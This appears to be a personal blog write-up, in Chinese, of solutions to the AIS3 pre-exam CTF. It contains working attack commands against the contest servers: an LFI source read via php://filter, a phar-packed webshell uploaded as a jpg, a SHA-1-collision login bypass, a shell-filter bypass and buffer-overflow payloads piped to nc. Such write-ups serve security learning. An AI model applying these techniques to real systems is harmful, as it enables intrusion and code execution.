前言

因為平常沒在打CTF,也很久沒認真碰這塊,所以最後只有31分 QAQ 然後這是我第一次參加AIS3,高手感覺好多,怕

UPDATE: 最後正取惹,我朋友8x、9x名也正取惹,所以要上應該算容易的(?

Web 1

這題直接

1
curl https://quiz.ais3.org:42351/

就看得到Flag了

Web 2

這題基本上就是php弱比較漏洞

1
0e959146861158620914280512624073

這組密碼在弱比較時會被當成數字0 (科學記號)

所以只要我們輸入的password經過md5 encode後也是[0e數字]形式就可繞過 例如:240610708

Web 3

這題的p參數有LFI漏洞 像?p=index 會去include index.php 可以利用php://filter 去看index.php的源碼 像這樣

1
https://quiz.ais3.org:23545/?p=php://filter/read=convert.base64-encode/resource=index

不過得到的源碼是Base64 encode過的,需要再去decode才看得到藏在源碼裡的flag

Web 4

延續上題,我們看源碼可以發現有地方可以上傳jpg檔 這題用到的就是phar wrapper 把我們的webshell或其他php檔(例如myshell.php)包成zip(shell.zip) 然後把這個zip副檔名改成jpg傳上去(shell.jpg) 之後用?p=phar://圖片位址/shell.jpg/myshell 就會解析並include我們的webshell來執行惹 然後可以發現網站根目錄下有個超長的檔名:

1
the_flag2_which_the_filename_you_can_not_guess_without_getting_the_shellllllll1l

裡面放的就是Flag惹

Crypto 1

題目的七行註解為flag分成七段各別加密後的值 加密方式為ptr[0~6] xor var1 xor var2 xor var3 又知道ptr[0] = "ais3" 所以ptr[i] = 密文[i] xor 密文[0] xor "ais3",i=1~6 然後喇一下,flag就出來惹

Crypto 2

這題是ECB mode加密上的攻擊 (雖然很久以前就知道這個惹,不過這是我第一次實作這個攻擊) 因為每個block各自加密,key也沒換 所以造成這種攻擊有辦法成功 題目有說block size為16 如果用|當作block之間的分隔,那正常輸入大概會像這樣:

1
user=aaaa...|...&role=student|&password=bbb...

構造輸入的user和password使得 …&role=| 在block最後面 然後再構造一組…|admin&… 最後把順序換一下(剪下貼上) 變成

1
name=aaaaaaaaaaa|&password=bbbbbb|aaaaaaaaaa&role=|admin&role=stude|padding

這樣子我們輸入name=aaaaaaaaaaa和password=bbbbbbaaaaaaaaaa 就能登入並且被當作是admin惹

Crypto 3

因為這題有把user跟password強制轉型成string 所以不能用塞陣列給他的老方法繞過驗證 就直接去找兩個會sha1 collision的字串給他就行 這邊找到之前google釋出的兩個不同卻有相同sha1值的pdf檔前320 bytes

1
curl -X POST -d "username=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&password=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1" 'https://quiz.ais3.org:32670/index.php'

就可以看到Flag惹

Crypto 4

延續上一題,既然我們有sha1相同的兩個字串 那同時再後面加上一樣的字串,sha1也依舊會相同 我們把題目要求的兩個字串加上去後 再寫個程式暴力塞padding,直到滿足開頭是f00d

1
curl -X POST -d "username=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1Snoopy_do_not_like_cats_hahahahaddaa_is_PHD134405109311&password=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1Snoopy_do_not_like_cats_hahahahaddaa_is_PHD134405109311" 'https://quiz.ais3.org:32670/index.php'

crypto4

Misc 1

題目直接給Flag

Misc 2

Response header藏著:HereItIs:Uzc0RzMyLnBocA== Base64 decode一下:S74G32.php 訪問一下可以看到一張皮卡丘的png圖片 題目說皮卡丘喜翻黃色 把背景改成黃色就看得到Flag惹

Misc 4

/flagpath…等等字串、環境變數會被過濾 可以利用在"“中$()的指令會被執行的這個特性 巧妙構造

1
./shell "cd ..; cd ..; \$(pwd)bin\$(pwd)cat \$(pwd)home\$(pwd)misc4\$(pwd)*"

這樣就可以繞過限制讀取Flag

Rev 1

丟進ida pro看,可以看出Flag應該就是對裡頭一串數字字串做運算後的結果 直接照著跑跑看,印出來就可 rev1

Rev 2

這題的encrypted應該是加密過的flag 加密的方式是***srand(time(0))之後取幾個rand()***做XOR 然後有說這隻程式build的時候好像是2017/06/26還2017/06/27 time(0)會回傳unix epoch time 所以理論上從那個時間點往後開始暴力踹srand()的seed 然後取rand()就能回推找到flag 不過我最後是沒成功啦,不知道是哪裡想錯還是code寫爛惹=.=

Pwn 1

丟ida pro看,發現餵給他啥東西 他就會跳過去執行 然後可以發現有個函數叫youcantseeme 內容是執行一個shell 所以我們直接跳過去那邊就行惹

1
(perl -e 'print "\x10\x86\x04\x08\n"';cat) | nc quiz.ais3.org 9561

Pwn 2

直接看程式碼 發現就是題很水的buffer overflow 可以直接把password蓋成0

1
(perl -e 'print "\x01"x20, "\x00"x4, "\n", "0\n", "1\n"';cat) | nc quiz.ais3.org 56746

其他題目,我太廢惹,解不出來,嗚